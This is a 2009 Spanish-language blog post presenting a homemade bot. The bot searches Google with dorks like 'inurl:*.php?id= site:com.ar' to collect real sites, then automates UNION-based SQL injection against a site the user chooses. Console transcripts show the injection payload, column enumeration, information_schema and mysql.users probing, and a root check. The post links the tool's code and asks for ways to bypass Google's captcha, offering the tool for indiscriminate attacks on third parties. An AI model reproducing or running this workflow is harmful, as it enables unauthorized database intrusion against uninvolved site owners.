domingo, 20 de septiembre de 2009

Bot MySQL Search Google 1.0 && 2.0

Bueno hace un mes anduve codeando una tools que lo que haga es automatizar algunas de las tantas cosas que uno hace cuando busca un SQLi.
Asi que tengo dos versiones de esta tools la 1.0 y la 2.0. Bien digamos que la diferencia que hay entre las dos es que la 1.0 nesesita algo de participacion humana, pero le voy a comentar mejor como se usa, las diferencias y de que se trata.

1.0) En esta version lo que hace es primero que nada te pide dos variables:
Parametro 1)patron de busqueda para google, lo que vamos a usar son las API que nos ofrece google para hacer busquedas mas avanzadas de las normales (Recomiendo http://johnny.ihackstuff.com/ghdb/). Por ejemplo un patron que utilizamos muchos seria este: inurl:*..php?id=, que es lo que hacemos con esta busqueda? Pues decimos a google que nos encuentre todas las direeciones que tengan en la URL algo con noticia.php?id=4545, mirar.php?id=454, sadasda.php?id=1 ....... En todo lo que sigan ese patron. Pues con esas paginas despues el BOT lo que va hacer es testear si algunas de esas es posivlemente vulnerable. Tambien pudieramos filtrar un poco la busqueda, es decir por ejemplo buscar solo paginas con la terminacion com.ar. De esta forma: inurl:*.php?id= site:com.ar

Parametro 2) Numero de cantidad de paginas de Google. que puede ser unas 10, 20, 30 60 etc.. Hay que acordarse que cuando el BOT de google sospecha de algun comportamiento sospechoso pedira un captcha, y en este caso el BOT no podra seguir consiguiendo enlaces.. Despues se vera como Bypasser eso :)..Si alguien tiene alguna Idea...
Entonces la pantalla principal seria algo asi con sus dos parametros

+++++++++++++++++++++++++++++++
+ Bot MySQL Search Google +
+ By MagnoBalt +
+++++++++++++++++++++++++++++++

[?]Ingrese Parametro de Busqueda (ej: inurl:.php?id_noticia=: >> inurl:*.php?id=
site:com.ar
[?]Total de paginas de busquedas en Google: >> 10

[+]Search:


Y en este moemnto empieza la busqueda.. Solo habra que esperar hasta que arroje los resultados.. Tendriamos algo parecido a esto

[0]http://pagina0.com.ar/ficha.php?id=291
[1]http://www.pagina1.com.ar/acti_nota.php?id=912
[2]http://www.pagina2.com.ar/nota_completa.php?id=1536
[3]http://www.pagina3.com.ar/acti_nota.php?id=894
[4]http://www.pagina2.com.ar/edimpresa/nota.php?id=207214
[5]http://www.pagina4.com.ar/nota_completa.php?id=3917
[6]http://www.pagina5.com.ar/articulo.php?recurso=601
[7]http://pagina5.com.ar/seccion.php?id=76
[8]http://www.pagina7.com.ar/viewtopic.php?id=23

[?]A cual desea automatizar la inyeccion. Eliga por el indice:>>

Una vez tenido la lista podemos empezar la automatizacion seleccionando por el indice la que queremos testear. Por ejemplo si quisieramos probar con www.pagina2.com.ar (No colocare la pagina verdadera solo nombres fictisios) colocariamos su indice que en este caso es 2
Note que hay paginas que estan repetidas, pues una de esas es la mejora del BOT 2.0, coloque una funcion para filtrar las que ya tenia como posibles vulnerables.

Ahora al colocar en este caso 2 nos pedira 2 parametros que nesesitamos para que empieze el testeo. quedaria algo asi:


[?]A cual desea automatizar la inyeccion. Eliga por el indice:>>2
[+]Empezando la automatizacion del la inyeccion.
[!]Primer Paso: Intentar sacar numero de columnas para UNION
[?]Maximo numero con cual intentar:>>20
[?]elija comentario -- or /* :>>--

Osea lo que hice es pasarle un numero 20, que es una cota maximo de intentos para buscar las culumnas que nesesita la clausula UNION, y el segundo fue que comentario utilizar que en este caso coloque --
Entonces tenemos algo como esto

[+]Search:
[+]La web posee 10
[+]http://pagina2.com.ar/ficha.php?id=-1+UNION+SELECT+0,1,2,3,4,5,6
,7,8,9--

[!]Segundo Paso: Verficando disponibilidad de Information_Schema
[+]Information Schema Disponible
[!]Tercer Paso: Verificando disponibilidad de de Mysql.users
[-]Mysql.users no Disponible
[!]Cuarto Paso: Verificando si el usuario es root
[-]El usuario no es root
[?]Desea Seguir con otro enlace Y/N: >>


Los pasos son encontrar la cantidad de columnas despues verificar si esta disponicle Information_Schema blablablabla.. bueno ahi se ve todo lo que hace no?? Nos pregunta si queremos seguir si colocamos Y podremos seguir inyectando otra y a la que ya hayamos inyectado nos colocara al final del link un *, osea que va hacer tantos * al lado de un enlace como tantas veces hayamos testeado el enlace. Ejemplo si llegasemos a no encontrar columnas a una con una cota superior por ejemplo podriamos intentar con una cota mas grande en este caso al listar por segunda vez despues de haber intentado la anterior en el enlace quedaria

[2]http://www.pagina2.com.ar/nota_completa.php?id=1536 *

Bueno en La proxima colocare la version 2.0


Aca esta el codigo http://paste2.org/p/433646

Saludos

No hay comentarios:

Publicar un comentario